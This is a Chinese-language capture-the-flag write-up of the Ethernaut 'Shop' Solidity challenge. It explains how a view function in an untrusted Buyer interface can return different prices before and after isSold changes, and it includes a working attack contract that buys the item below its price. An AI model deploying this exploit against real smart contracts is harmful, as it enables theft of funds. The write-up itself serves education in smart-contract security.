源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
分析:
让我们回顾一下合约代码,我们可以看到,合约中的 price
代表了 Buyer
为购买物品必须支付的 wei
(以太币单位)的数量。
物品也只有在尚未售出时才能被购买。这个属性由状态变量 isSold
控制,初始化为 "false",然后在 "buy" 函数中改变为 "true"。
buy
为合约的主要函数, 先将msg.sender
转换为Buyer
,它期望交易的发送者是一个合约,并实现Buyer
接口中定义的price
函数。
合约会询问用户msg.sender(所以可以是智能合约)的出价,如果其price()函数返回的结果超过当前的定价并且商品仍未卖出,则会将定价设为用户的出价。现在看应该是要求用户两次出价返回的结果不同。然而,我们可以看到Buyer类型的接口price()是一个view类型的函数,这表明只能读取变量而不应当对变量有所修改,即不能改变当前合约的状态。
有没有办法能够使得view
方法两次返回的值不同呢?
- 依托于外部合约的变化
- 依托于本身变量的变化
如果view
类型方法依托于外部合约的状态,通过询问外部变量,即可无修改地实现返回值的区别
攻击合约
contract attack{
Shop shop;
function att()public{
shop=Shop(0xd9145CCE52D386f254917e481eB44e9943F39138);
shop.buy();
}
function price()external view returns (uint){
if(shop.isSold()==false){
return 100;
}
return 99;
}
}
此时由于在请求price()
前后Shop
合约的isSold
变量已发生了变化,所以我们可以基于该变量设置if
规则,这种方法是适用的.
成功!